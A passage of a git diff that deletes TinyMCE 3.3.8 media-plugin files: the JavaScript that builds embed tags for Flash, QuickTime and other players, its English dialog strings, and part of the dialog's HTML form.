tinyMCEPopup.restoreSelection(); - - if (!AutoValidator.validate(f)) { - tinyMCEPopup.alert(ed.getLang('invalid_data')); - return false; - } - - f.width.value = f.width.value == "" ? 100 : f.width.value; - f.height.value = f.height.value == "" ? 100 : f.height.value; - - fe = ed.selection.getNode(); - if (fe != null && /mceItem(Flash|ShockWave|WindowsMedia|QuickTime|RealMedia)/.test(ed.dom.getAttrib(fe, 'class'))) { - switch (f.media_type.options[f.media_type.selectedIndex].value) { - case "flash": - fe.className = "mceItemFlash"; - break; - - case "flv": - fe.className = "mceItemFlashVideo"; - break; - - case "shockwave": - fe.className = "mceItemShockWave"; - break; - - case "qt": - fe.className = "mceItemQuickTime"; - break; - - case "wmp": - fe.className = "mceItemWindowsMedia"; - break; - - case "rmp": - fe.className = "mceItemRealMedia"; - break; - } - - if (fe.width != f.width.value || fe.height != f.height.value) - ed.execCommand('mceRepaint'); - - fe.title = serializeParameters(); - fe.width = f.width.value; - fe.height = f.height.value; - fe.style.width = f.width.value + (f.width.value.indexOf('%') == -1 ? 'px' : ''); - fe.style.height = f.height.value + (f.height.value.indexOf('%') == -1 ? 'px' : ''); - fe.align = f.align.options[f.align.selectedIndex].value; - } else { - h = '<img src="' + tinyMCEPopup.getWindowArg("plugin_url") + '/img/trans.gif"' ; - - switch (f.media_type.options[f.media_type.selectedIndex].value) { - case "flash": - h += ' class="mceItemFlash"'; - break; - - case "flv": - h += ' class="mceItemFlashVideo"'; - break; - - case "shockwave": - h += ' class="mceItemShockWave"'; - break; - - case "qt": - h += ' class="mceItemQuickTime"'; - break; - - case "wmp": - h += ' class="mceItemWindowsMedia"'; - break; - - case "rmp": - h += ' class="mceItemRealMedia"'; - break; - } - - h += ' title="' + serializeParameters() + '"'; - h += ' width="' + f.width.value + '"'; - h += ' height="' + f.height.value + '"'; - h += ' align="' + f.align.options[f.align.selectedIndex].value + '"'; - - h += ' />'; - - ed.execCommand('mceInsertContent', false, h); - } - - tinyMCEPopup.close(); -} - -function updatePreview() { - var f = document.forms[0], type; - - f.width.value = f.width.value || '320'; - f.height.value = f.height.value || '240'; - - type = getType(f.src.value); - selectByValue(f, 'media_type', type); - changedType(type); - generatePreview(); -} - -function getMediaListHTML() { - if (typeof(tinyMCEMediaList) != "undefined" && tinyMCEMediaList.length > 0) { - var html = ""; - - html += '<select id="linklist" name="linklist" style="width: 250px" onchange="this.form.src.value=this.options[this.selectedIndex].value;updatePreview();">'; - html += '<option value="">---</option>'; - - for (var i=0; i<tinyMCEMediaList.length; i++) - html += '<option value="' + tinyMCEMediaList[i][1] + '">' + tinyMCEMediaList[i][0] + '</option>'; - - html += '</select>'; - - return html; - } - - return ""; -} - -function getType(v) { - var fo, i, c, el, x, f = document.forms[0]; - - fo = ed.getParam("media_types", "flash=swf;flv=flv;shockwave=dcr;qt=mov,qt,mpg,mp3,mp4,mpeg;shockwave=dcr;wmp=avi,wmv,wm,asf,asx,wmx,wvx;rmp=rm,ra,ram").split(';'); - - // YouTube - if (v.match(/watch\?v=(.+)(.*)/)) { - f.width.value = '425'; - f.height.value = '350'; - f.src.value = 'http://www.youtube.com/v/' + v.match(/v=(.*)(.*)/)[0].split('=')[1]; - return 'flash'; - } - - // Google video - if (v.indexOf('http://video.google.com/videoplay?docid=') == 0) { - f.width.value = '425'; - f.height.value = '326'; - f.src.value = 'http://video.google.com/googleplayer.swf?docId=' + v.substring('http://video.google.com/videoplay?docid='.length) + '&hl=en'; - return 'flash'; - } - - for (i=0; i<fo.length; i++) { - c = fo[i].split('='); - - el = c[1].split(','); - for (x=0; x<el.length; x++) - if (v.indexOf('.' + el[x]) != -1) - return c[0]; - } - - return null; -} - -function switchType(v) { - var t = getType(v), d = document, f = d.forms[0]; - - if (!t) - return; - - selectByValue(d.forms[0], 'media_type', t); - changedType(t); - - // Update qtsrc also - if (t == 'qt' && f.src.value.toLowerCase().indexOf('rtsp://') != -1) { - alert(ed.getLang("media_qt_stream_warn")); - - if (f.qt_qtsrc.value == '') - f.qt_qtsrc.value = f.src.value; - } -} - -function changedType(t) { - var d = document; - - d.getElementById('flash_options').style.display = 'none'; - d.getElementById('flv_options').style.display = 'none'; - d.getElementById('qt_options').style.display = 'none'; - d.getElementById('shockwave_options').style.display = 'none'; - d.getElementById('wmp_options').style.display = 'none'; - d.getElementById('rmp_options').style.display = 'none'; - - if (t) - d.getElementById(t + '_options').style.display = 'block'; -} - -function serializeParameters() { - var d = document, f = d.forms[0], s = ''; - - switch (f.media_type.options[f.media_type.selectedIndex].value) { - case "flash": - s += getBool('flash', 'play', true); - s += getBool('flash', 'loop', true); - s += getBool('flash', 'menu', true); - s += getBool('flash', 'swliveconnect', false); - s += getStr('flash', 'quality'); - s += getStr('flash', 'scale'); - s += getStr('flash', 'salign'); - s += getStr('flash', 'wmode'); - s += getStr('flash', 'base'); - s += getStr('flash', 'flashvars'); - break; - - case "qt": - s += getBool('qt', 'loop', false); - s += getBool('qt', 'autoplay', true); - s += getBool('qt', 'cache', false); - s += getBool('qt', 'controller', true); - s += getBool('qt', 'correction', false, 'none', 'full'); - s += getBool('qt', 'enablejavascript', false); - s += getBool('qt', 'kioskmode', false); - s += getBool('qt', 'autohref', false); - s += getBool('qt', 'playeveryframe', false); - s += getBool('qt', 'targetcache', false); - s += getStr('qt', 'scale'); - s += getStr('qt', 'starttime'); - s += getStr('qt', 'endtime'); - s += getStr('qt', 'target'); - s += getStr('qt', 'qtsrcchokespeed'); - s += getStr('qt', 'volume'); - s += getStr('qt', 'qtsrc'); - break; - - case "shockwave": - s += getBool('shockwave', 'sound'); - s += getBool('shockwave', 'progress'); - s += getBool('shockwave', 'autostart'); - s += getBool('shockwave', 'swliveconnect'); - s += getStr('shockwave', 'swvolume'); - s += getStr('shockwave', 'swstretchstyle'); - s += getStr('shockwave', 'swstretchhalign'); - s += getStr('shockwave', 'swstretchvalign'); - break; - - case "wmp": - s += getBool('wmp', 'autostart', true); - s += getBool('wmp', 'enabled', false); - s += getBool('wmp', 'enablecontextmenu', true); - s += getBool('wmp', 'fullscreen', false); - s += getBool('wmp', 'invokeurls', true); - s += getBool('wmp', 'mute', false); - s += getBool('wmp', 'stretchtofit', false); - s += getBool('wmp', 'windowlessvideo', false); - s += getStr('wmp', 'balance'); - s += getStr('wmp', 'baseurl'); - s += getStr('wmp', 'captioningid'); - s += getStr('wmp', 'currentmarker'); - s += getStr('wmp', 'currentposition'); - s += getStr('wmp', 'defaultframe'); - s += getStr('wmp', 'playcount'); - s += getStr('wmp', 'rate'); - s += getStr('wmp', 'uimode'); - s += getStr('wmp', 'volume'); - break; - - case "rmp": - s += getBool('rmp', 'autostart', false); - s += getBool('rmp', 'loop', false); - s += getBool('rmp', 'autogotourl', true); - s += getBool('rmp', 'center', false); - s += getBool('rmp', 'imagestatus', true); - s += getBool('rmp', 'maintainaspect', false); - s += getBool('rmp', 'nojava', false); - s += getBool('rmp', 'prefetch', false); - s += getBool('rmp', 'shuffle', false); - s += getStr('rmp', 'console'); - s += getStr('rmp', 'controls'); - s += getStr('rmp', 'numloop'); - s += getStr('rmp', 'scriptcallbacks'); - break; - } - - s += getStr(null, 'id'); - s += getStr(null, 'name'); - s += getStr(null, 'src'); - s += getStr(null, 'align'); - s += getStr(null, 'bgcolor'); - s += getInt(null, 'vspace'); - s += getInt(null, 'hspace'); - s += getStr(null, 'width'); - s += getStr(null, 'height'); - - s = s.length > 0 ? s.substring(0, s.length - 1) : s; - - return s; -} - -function setBool(pl, p, n) { - if (typeof(pl[n]) == "undefined") - return; - - document.forms[0].elements[p + "_" + n].checked = pl[n] != 'false'; -} - -function setStr(pl, p, n) { - var f = document.forms[0], e = f.elements[(p != null ? p + "_" : '') + n]; - - if (typeof(pl[n]) == "undefined") - return; - - if (e.type == "text") - e.value = pl[n]; - else - selectByValue(f, (p != null ? p + "_" : '') + n, pl[n]); -} - -function getBool(p, n, d, tv, fv) { - var v = document.forms[0].elements[p + "_" + n].checked; - - tv = typeof(tv) == 'undefined' ? 'true' : "'" + jsEncode(tv) + "'"; - fv = typeof(fv) == 'undefined' ? 'false' : "'" + jsEncode(fv) + "'"; - - return (v == d) ? '' : n + (v ? ':' + tv + ',' : ":\'" + fv + "\',"); -} - -function getStr(p, n, d) { - var e = document.forms[0].elements[(p != null ? p + "_" : "") + n]; - var v = e.type == "text" ? e.value : e.options[e.selectedIndex].value; - - if (n == 'src') - v = tinyMCEPopup.editor.convertURL(v, 'src', null); - - return ((n == d || v == '') ? '' : n + ":'" + jsEncode(v) + "',"); -} - -function getInt(p, n, d) { - var e = document.forms[0].elements[(p != null ? p + "_" : "") + n]; - var v = e.type == "text" ? e.value : e.options[e.selectedIndex].value; - - return ((n == d || v == '') ? '' : n + ":" + v.replace(/[^0-9]+/g, '') + ","); -} - -function jsEncode(s) { - s = s.replace(new RegExp('\\\\', 'g'), '\\\\'); - s = s.replace(new RegExp('"', 'g'), '\\"'); - s = s.replace(new RegExp("'", 'g'), "\\'"); - - return s; -} - -function generatePreview(c) { - var f = document.forms[0], p = document.getElementById('prev'), h = '', cls, pl, n, type, codebase, wp, hp, nw, nh; - - p.innerHTML = '<!-- x --->'; - - nw = parseInt(f.width.value); - nh = parseInt(f.height.value); - - if (f.width.value != "" && f.height.value != "") { - if (f.constrain.checked) { - if (c == 'width' && oldWidth != 0) { - wp = nw / oldWidth; - nh = Math.round(wp * nh); - f.height.value = nh; - } else if (c == 'height' && oldHeight != 0) { - hp = nh / oldHeight; - nw = Math.round(hp * nw); - f.width.value = nw; - } - } - } - - if (f.width.value != "") - oldWidth = nw; - - if (f.height.value != "") - oldHeight = nh; - - // After constrain - pl = serializeParameters(); - - switch (f.media_type.options[f.media_type.selectedIndex].value) { - case "flash": - cls = 'clsid:D27CDB6E-AE6D-11cf-96B8-444553540000'; - codebase = 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0'; - type = 'application/x-shockwave-flash'; - break; - - case "shockwave": - cls = 'clsid:166B1BCA-3F9C-11CF-8075-444553540000'; - codebase = 'http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=8,5,1,0'; - type = 'application/x-director'; - break; - - case "qt": - cls = 'clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B'; - codebase = 'http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0'; - type = 'video/quicktime'; - break; - - case "wmp": - cls = ed.getParam('media_wmp6_compatible') ? 'clsid:05589FA1-C356-11CE-BF01-00AA0055595A' : 'clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6'; - codebase = 'http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701'; - type = 'application/x-mplayer2'; - break; - - case "rmp": - cls = 'clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA'; - codebase = 'http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701'; - type = 'audio/x-pn-realaudio-plugin'; - break; - } - - if (pl == '') { - p.innerHTML = ''; - return; - } - - pl = tinyMCEPopup.editor.plugins.media._parse(pl); - - if (!pl.src) { - p.innerHTML = ''; - return; - } - - pl.src = tinyMCEPopup.editor.documentBaseURI.toAbsolute(pl.src); - pl.width = !pl.width ? 100 : pl.width; - pl.height = !pl.height ? 100 : pl.height; - pl.id = !pl.id ? 'obj' : pl.id; - pl.name = !pl.name ? 'eobj' : pl.name; - pl.align = !pl.align ? '' : pl.align; - - // Avoid annoying warning about insecure items - if (!tinymce.isIE || document.location.protocol != 'https:') { - h += '<object classid="' + cls + '" codebase="' + codebase + '" width="' + pl.width + '" height="' + pl.height + '" id="' + pl.id + '" name="' + pl.name + '" align="' + pl.align + '">'; - - for (n in pl) { - h += '<param name="' + n + '" value="' + pl[n] + '">'; - - // Add extra url parameter if it's an absolute URL - if (n == 'src' && pl[n].indexOf('://') != -1) - h += '<param name="url" value="' + pl[n] + '" />'; - } - } - - h += '<embed type="' + type + '" '; - - for (n in pl) - h += n + '="' + pl[n] + '" '; - - h += '></embed>'; - - // Avoid annoying warning about insecure items - if (!tinymce.isIE || document.location.protocol != 'https:') - h += '</object>'; - - p.innerHTML = "<!-- x --->" + h; -} - -tinyMCEPopup.onInit.add(init); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/langs/en_dlg.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/langs/en_dlg.js deleted file mode 100644 index 6d0a996..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/langs/en_dlg.js +++ /dev/null @@ -1,103 +0,0 @@ -tinyMCE.addI18n('en.media_dlg',{ -title:"Insert / edit embedded media", -general:"General", -advanced:"Advanced", -file:"File/URL", -list:"List", -size:"Dimensions", -preview:"Preview", -constrain_proportions:"Constrain proportions", -type:"Type", -id:"Id", -name:"Name", -class_name:"Class", -vspace:"V-Space", -hspace:"H-Space", -play:"Auto play", -loop:"Loop", -menu:"Show menu", -quality:"Quality", -scale:"Scale", -align:"Align", -salign:"SAlign", -wmode:"WMode", -bgcolor:"Background", -base:"Base", -flashvars:"Flashvars", -liveconnect:"SWLiveConnect", -autohref:"AutoHREF", -cache:"Cache", -hidden:"Hidden", -controller:"Controller", -kioskmode:"Kiosk mode", -playeveryframe:"Play every frame", -targetcache:"Target cache", -correction:"No correction", -enablejavascript:"Enable JavaScript", -starttime:"Start time", -endtime:"End time", -href:"Href", -qtsrcchokespeed:"Choke speed", -target:"Target", -volume:"Volume", -autostart:"Auto start", -enabled:"Enabled", -fullscreen:"Fullscreen", -invokeurls:"Invoke URLs", -mute:"Mute", -stretchtofit:"Stretch to fit", -windowlessvideo:"Windowless video", -balance:"Balance", -baseurl:"Base URL", -captioningid:"Captioning id", -currentmarker:"Current marker", -currentposition:"Current position", -defaultframe:"Default frame", -playcount:"Play count", -rate:"Rate", -uimode:"UI Mode", -flash_options:"Flash options", -qt_options:"Quicktime options", -wmp_options:"Windows media player options", -rmp_options:"Real media player options", -shockwave_options:"Shockwave options", -autogotourl:"Auto goto URL", -center:"Center", -imagestatus:"Image status", -maintainaspect:"Maintain aspect", -nojava:"No java", -prefetch:"Prefetch", -shuffle:"Shuffle", -console:"Console", -numloop:"Num loops", -controls:"Controls", -scriptcallbacks:"Script callbacks", -swstretchstyle:"Stretch style", -swstretchhalign:"Stretch H-Align", -swstretchvalign:"Stretch V-Align", -sound:"Sound", -progress:"Progress", -qtsrc:"QT Src", -qt_stream_warn:"Streamed rtsp resources should be added to the QT Src field under the advanced tab.\nYou should also add a non streamed version to the Src field..", -align_top:"Top", -align_right:"Right", -align_bottom:"Bottom", -align_left:"Left", -align_center:"Center", -align_top_left:"Top left", -align_top_right:"Top right", -align_bottom_left:"Bottom left", -align_bottom_right:"Bottom right", -flv_options:"Flash video options", -flv_scalemode:"Scale mode", -flv_buffer:"Buffer", -flv_startimage:"Start image", -flv_starttime:"Start time", -flv_defaultvolume:"Default volumne", -flv_hiddengui:"Hidden GUI", -flv_autostart:"Auto start", -flv_loop:"Loop", -flv_showscalemodes:"Show scale modes", -flv_smoothvideo:"Smooth video", -flv_jscallback:"JS Callback" -}); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/media.htm b/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/media.htm deleted file mode 100644 index 73a903f..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/media/media.htm +++ /dev/null @@ -1,817 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>{#media_dlg.title}</title> - <script type="text/javascript" src="../../tiny_mce_popup.js"></script> - <script type="text/javascript" src="js/media.js"></script> - <script type="text/javascript" src="../../utils/mctabs.js"></script> - <script type="text/javascript" src="../../utils/validate.js"></script> - <script type="text/javascript" src="../../utils/form_utils.js"></script> - <script type="text/javascript" src="../../utils/editable_selects.js"></script> - <link href="css/media.css" rel="stylesheet" type="text/css" /> -</head> -<body style="display: none"> - <form onsubmit="insertMedia();return false;" action="#"> - <div class="tabs"> - <ul> - <li id="general_tab" class="current"><span><a href="javascript:mcTabs.displayTab('general_tab','general_panel');generatePreview();" onmousedown="return false;">{#media_dlg.general}</a></span></li> - <li id="advanced_tab"><span><a href="javascript:mcTabs.displayTab('advanced_tab','advanced_panel');" onmousedown="return false;">{#media_dlg.advanced}</a></span></li> - </ul> - </div> - - <div class="panel_wrapper"> - <div id="general_panel" class="panel current"> - <fieldset> - <legend>{#media_dlg.general}</legend> - - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td><label for="media_type">{#media_dlg.type}</label></td> - <td> - <select id="media_type" name="media_type" onchange="changedType(this.value);generatePreview();"> - <option value="flash">Flash</option> - <!-- <option value="flv">Flash video (FLV)</option> --> - <option value="qt">Quicktime</option> - <option value="shockwave">Shockwave</option> - <option value="wmp">Windows Media</option> - <option value="rmp">Real Media</option> - </select> - </td> - </tr> - <tr> - <td><label for="src">{#media_dlg.file}</label></td> - <td> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input id="src" name="src" type="text" value="" class="mceFocus" onchange="switchType(this.value);generatePreview();" /></td> - <td id="filebrowsercontainer">&nbsp;</td> - </tr> - </table> - </td> - </tr> - <tr id="linklistrow"> - <td><label for="linklist">{#media_dlg.list}</label></td> - <td id="linklistcontainer"><select id="linklist"><option value=""></option></select></td> - </tr> - <tr> - <td><label for="width">{#media_dlg.size}</label></td> - <td> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="text" id="width" name="width" value="" class="size" onchange="generatePreview('width');" /> x <input type="text" id="height" name="height" value="" class="size" onchange="generatePreview('height');" /></td> - <td>&nbsp;&nbsp;<input id="constrain" type="checkbox" name="constrain" class="checkbox" /></td> - <td><label id="constrainlabel" for="constrain">{#media_dlg.constrain_proportions}</label></td> - </tr> - </table> - </td> - </tr> - </table> - </fieldset> - - <fieldset> - <legend>{#media_dlg.preview}</legend> - <div id="prev"></div> - </fieldset> - </div> - - <div id="advanced_panel" class="panel"> - <fieldset> - <legend>{#media_dlg.advanced}</legend> - - <table border="0" cellpadding="4" cellspacing="0" width="100%"> - <tr> - <td><label for="id">{#media_dlg.id}</label></td> - <td><input type="text" id="id" name="id" onchange="generatePreview();" /></td> - <td><label for="name">{#media_dlg.name}</label></td> - <td><input type="text" id="name" name="name" onchange="generatePreview();" /></td> - </tr> - - <tr> - <td><label for="align">{#media_dlg.align}</label></td> - <td> - <select id="align" name="align" onchange="generatePreview();"> - <option value="">{#not_set}</option> - <option value="top">{#media_dlg.align_top}</option> - <option value="right">{#media_dlg.align_right}</option> - <option value="bottom">{#media_dlg.align_bottom}</option> - <option value="left">{#media_dlg.align_left}</option> - </select> - </td> - - <td><label for="bgcolor">{#media_dlg.bgcolor}</label></td> - <td> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input id="bgcolor" name="bgcolor" type="text" value="" size="9" onchange="updateColor('bgcolor_pick','bgcolor');generatePreview();" /></td> - <td id="bgcolor_pickcontainer">&nbsp;</td> - </tr> - </table> - </td> - </tr> - - <tr> - <td><label for="vspace">{#media_dlg.vspace}</label></td> - <td><input type="text" id="vspace" name="vspace" class="number" onchange="generatePreview();" /></td> - <td><label for="hspace">{#media_dlg.hspace}</label></td> - <td><input type="text" id="hspace" name="hspace" class="number" onchange="generatePreview();" /></td> - </tr> - </table> - </fieldset> - - <fieldset id="flash_options"> - <legend>{#media_dlg.flash_options}</legend> - - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td><label for="flash_quality">{#media_dlg.quality}</label></td> - <td> - <select id="flash_quality" name="flash_quality" onchange="generatePreview();"> - <option value="">{#not_set}</option> - <option value="high">high</option> - <option value="low">low</option> - <option value="autolow">autolow</option> - <option value="autohigh">autohigh</option> - <option value="best">best</option> - </select> - </td> - - <td><label for="flash_scale">{#media_dlg.scale}</label></td> - <td> - <select id="flash_scale" name="flash_scale" onchange="generatePreview();"> - <option value="">{#not_set}</option> - <option value="showall">showall</option> - <option value="noborder">noborder</option> - <option value="exactfit">exactfit</option> - <option value="noscale">noscale</option> - </select> - </td> - </tr> - - <tr> - <td><label for="flash_wmode">{#media_dlg.wmode}</label></td> - <td> - <select id="flash_wmode" name="flash_wmode" onchange="generatePreview();"> - <option value="">{#not_set}</option> - <option value="window">window</option> - <option value="opaque">opaque</option> - <option value="transparent">transparent</option> - </select> - </td> - - <td><label for="flash_salign">{#media_dlg.salign}</label></td> - <td> - <select id="flash_salign" name="flash_salign" onchange="generatePreview();"> - <option value="">{#not_set}</option> - <option value="l">{#media_dlg.align_left}</option> - <option value="t">{#media_dlg.align_top}</option> - <option value="r">{#media_dlg.align_right}</option> - <option value="b">{#media_dlg.align_bottom}</option> - <option value="tl">{#media_dlg.align_top_left}</option> - <option value="tr">{#media_dlg.align_top_right}</option> - <option value="bl">{#media_dlg.align_bottom_left}</option> - <option value="br">{#media_dlg.align_bottom_right}</option> - </select> - </td> - </tr> - - <tr> - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="flash_play" name="flash_play" checked="checked" onchange="generatePreview();" /></td> - <td><label for="flash_play">{#media_dlg.play}</label></td> - </tr> - </table> - </td> - - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="flash_loop" name="flash_loop" checked="checked" onchange="generatePreview();" /></td> - <td><label for="flash_loop">{#media_dlg.loop}</label></td> - </tr> - </table> - </td> - </tr> - - <tr> - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="flash_menu" name="flash_menu" checked="checked" onchange="generatePreview();" /></td> - <td><label for="flash_menu">{#media_dlg.menu}</label></td> - </tr> - </table> - </td> - - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="flash_swliveconnect" name="flash_swliveconnect" onchange="generatePreview();" /></td> - <td><label for="flash_swliveconnect">{#media_dlg.liveconnect}</label></td> - </tr> - </table> - </td> - </tr> - </table> - - <table> - <tr> - <td><label for="flash_base">{#media_dlg.base}</label></td> - <td><input type="text" id="flash_base" name="flash_base" onchange="generatePreview();" /></td> - </tr> - - <tr> - <td><label for="flash_flashvars">{#media_dlg.flashvars}</label></td> - <td><input type="text" id="flash_flashvars" name="flash_flashvars" onchange="generatePreview();" /></td> - </tr> - </table> - </fieldset> - - <fieldset id="flv_options"> - <legend>{#media_dlg.flv_options}</legend> - - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td><label for="flv_scalemode">{#media_dlg.flv_scalemode}</label></td> - <td> - <select id="flv_scalemode" name="flv_scalemode" onchange="generatePreview();"> - <option value="">{#not_set}</option> - <option value="none">none</option> - <option value="double">double</option> - <option value="full">full</option> - </select> - </td> - - <td><label for="flv_buffer">{#media_dlg.flv_buffer}</label></td> - <td><input type="text" id="flv_buffer" name="flv_buffer" onchange="generatePreview();" /></td> - </tr> - - <tr> - <td><label for="flv_startimage">{#media_dlg.flv_startimage}</label></td> - <td><input type="text" id="flv_startimage" name="flv_startimage" onchange="generatePreview();" /></td> - - <td><label for="flv_starttime">{#media_dlg.flv_starttime}</label></td> - <td><input type="text" id="flv_starttime" name="flv_starttime" onchange="generatePreview();" /></td> - </tr> - - <tr> - <td><label for="flv_defaultvolume">{#media_dlg.flv_defaultvolume}</label></td> - <td><input type="text" id="flv_defaultvolume" name="flv_defaultvolume" onchange="generatePreview();" /></td> - - - </tr> - - <tr> - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="flv_hiddengui" name="flv_hiddengui" checked="checked" onchange="generatePreview();" /></td> - <td><label for="flv_hiddengui">{#media_dlg.flv_hiddengui}</label></td> - </tr> - </table> - </td> - - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="flv_autostart" name="flv_autostart" checked="checked" onchange="generatePreview();" /></td> - <td><label for="flv_autostart">{#media_dlg.flv_autostart}</label></td> - </tr> - </table> - </td> - </tr> - - <tr> - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="flv_loop" name="flv_loop" checked="checked" onchange="generatePreview();" /></td> - <td><label for="flv_loop">{#media_dlg.flv_loop}</label></td> - </tr> - </table> - </td> - - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="flv_showscalemodes" name="flv_showscalemodes" onchange="generatePreview();" /></td> - <td><label for="flv_showscalemodes">{#media_dlg.flv_showscalemodes}</label></td> - </tr> - </table> - </td> - </tr> - - <tr> - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="flv_smoothvideo" name="flash_flv_flv_smoothvideosmoothvideo" checked="checked" onchange="generatePreview();" /></td> - <td><label for="flv_smoothvideo">{#media_dlg.flv_smoothvideo}</label></td> - </tr> - </table> - </td> - - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="flv_jscallback" name="flv_jscallback" onchange="generatePreview();" /></td> - <td><label for="flv_jscallback">{#media_dlg.flv_jscallback}</label></td> - </tr> - </table> - </td> - </tr> - </table> - </fieldset> - - <fieldset id="qt_options"> - <legend>{#media_dlg.qt_options}</legend> - - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="qt_loop" name="qt_loop" onchange="generatePreview();" /></td> - <td><label for="qt_loop">{#media_dlg.loop}</label></td> - </tr> - </table> - </td> - - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="qt_autoplay" name="qt_autoplay" checked="checked" onchange="generatePreview();" /></td> - <td><label for="qt_autoplay">{#media_dlg.play}</label></td> - </tr> - </table> - </td> - </tr> - - <tr> - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="qt_cache" name="qt_cache" onchange="generatePreview();" /></td> - <td><label for="qt_cache">{#media_dlg.cache}</label></td> - </tr> - </table> - </td> - - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="qt_controller" name="qt_controller" checked="checked" onchange="generatePreview();" /></td> - <td><label for="qt_controller">{#media_dlg.controller}</label></td> - </tr> - </table> - </td> - </tr> - - <tr> - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="qt_correction" name="qt_correction" onchange="generatePreview();" /></td> - <td><label for="qt_correction">{#media_dlg.correction}</label></td> - </tr> - </table> - </td> - - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="qt_enablejavascript" name="qt_enablejavascript" onchange="generatePreview();" /></td> - <td><label for="qt_enablejavascript">{#media_dlg.enablejavascript}</label></td> - </tr> - </table> - </td> - </tr> - - <tr> - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="qt_kioskmode" name="qt_kioskmode" onchange="generatePreview();" /></td> - <td><label for="qt_kioskmode">{#media_dlg.kioskmode}</label></td> - </tr> - </table> - </td> - - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="qt_autohref" name="qt_autohref" onchange="generatePreview();" /></td> - <td><label for="qt_autohref">{#media_dlg.autohref}</label></td> - </tr> - </table> - </td> - </tr> - - <tr> - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="qt_playeveryframe" name="qt_playeveryframe" onchange="generatePreview();" /></td> - <td><label for="qt_playeveryframe">{#media_dlg.playeveryframe}</label></td> - </tr> - </table> - </td> - - <td colspan="2"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input type="checkbox" class="checkbox" id="qt_targetcache" name="qt_targetcache" onchange="generatePreview();" /></td> - <td><label for="qt_targetcache">{#media_dlg.targetcache}</label></td> - </tr> - </table> - </td> - </tr> - - <tr> - <td><label for="qt_scale">{#media_dlg.scale}</label></td> - <td><select id="qt_scale" name="qt_scale" class="mceEditableSelect" onchange="generatePreview();"> - <option value="">{#not_set}</option> - <option value="tofit">tofit</option> - <option value="aspect">aspect</option> - </select> - </td> - - <td colspan="2">&nbsp;</td> - </tr> - - <tr> - <td><label for="qt_starttime">{#media_dlg.starttime}</label></td> - <td><input type="text" id="qt_starttime" name="qt_starttime" onchange="generatePreview();" /></td> - - <td><label for="qt_endtime">{#media_dlg.endtime}</label></td> - <td><input type="text" id="qt_endtime" name="qt_endtime" onchange="generatePreview();" /></td> - </tr> - - <tr> - <td><label for="qt_target">{#media_dlg.target}</label></td> - <td><input type="text" id="qt_target" name="qt_target" onchange="generatePreview();" /></td> - - <td><label for="qt_href">{#media_dlg.href}</label></td> - <td><input type="text" id="qt_href" name="qt_href" onchange="generatePreview();" /></td> - </tr> - - <tr> - <td><label for="qt_qtsrcchokespeed">{#media_dlg.qtsrcchokespeed}</label></td> - <td><input type="text" id="qt_qtsrcchokespeed" name="qt_qtsrcchokespeed" onchange="generatePreview();" /></td> - - <td><label 